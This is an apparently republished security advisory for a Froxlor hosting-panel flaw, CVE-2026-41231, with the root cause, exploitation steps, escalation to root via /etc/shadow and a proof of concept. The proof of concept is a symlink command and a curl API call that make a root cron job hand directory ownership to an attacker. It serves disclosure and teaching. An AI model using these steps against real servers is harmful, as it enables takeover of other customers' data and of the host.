# Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron

Froxlor DataDump.add() omits symlink validation, so a customer's symlink in docroot makes root ExportCron chown -R arbitrary directories, enabling takeover of /etc.

- Payout: Research
- Severity: high
- Program: Froxlor
- Found by: offset
- Disclosed: 2026-04-16
- CVE: CVE-2026-41231
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-75h4-c557-j89r
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-75h4-c557-j89r
- Tags: area:web domain:web impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:path-traversal vuln:privilege-escalation

**Target:** PHP hosting panel API (DataDump.add) and root ExportCron
**Root cause:** DataDump.add() calls FileDir::makeCorrectDir() without the $fixed_homedir argument, skipping the per-component symlink escape check added for CVE-2023-6069; the unvalidated destdir later reaches a root-run `chown -R` in ExportCron which dereferences symlinks.
**Steps:**
1. Enable prerequisite: `system.exportenabled` = 1; obtain customer API key and FTP/SSH access.
2. Create symlink in own docroot: `ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal`
3. POST to `/api.php` with body `{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}`.
4. Wait for hourly root ExportCron; it runs `chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'` which resolves the symlink.
5. Verify ownership: `ls -la /var/customers/webs/victim_customer/` now shows attacker UID; optionally symlink to `/etc` for /etc/passwd, /etc/shadow access.
**How found:** Noticed the incomplete patch pattern: after CVE-2023-6069, symlink validation via $fixed_homedir was added to makeCorrectDir and applied to DirProtections, DirOptions, Ftps, SubDomains — but DataDump.add() was missed. Traced the unvalidated path into Cronjob::inserttask and then into ExportCron's root `chown -R`, which follows symlinks.
**Exploitation:** Attacker with a customer account creates a symlink inside their own documentroot pointing at a victim directory (another customer's webroot or /etc), then schedules a data export via the API with path set to the symlink name. The root ExportCron later executes `chown -R attacker_uid:attacker_gid <destdir>`, dereferencing the symlink and recursively transferring ownership of the target tree to the attacker, granting read/write and enabling root account creation via /etc/shadow.
**Escalation:** Horizontal: take ownership of other customers' web/db/email data. Vertical: target /etc to own /etc/passwd and /etc/shadow, create root account or modify passwords. Also service disruption by chowning system dirs.
**Insight:** When a security fix introduces a new required parameter (here $fixed_homedir), grep every call site of the hardened function for missing arguments — the one caller that forgot the parameter is the residual bug. Also check whether the downstream privileged operation (chown -R, tar -C, rm -rf) dereferences symlinks even when the path itself was validated.

## Proof of concept (copied exactly from the original report)

**Symlink creation and API call to schedule export**

```
ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'

# Step 2: Schedule data export via API with path pointing to the symlink
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \
  https://panel.example.com/api.php
```

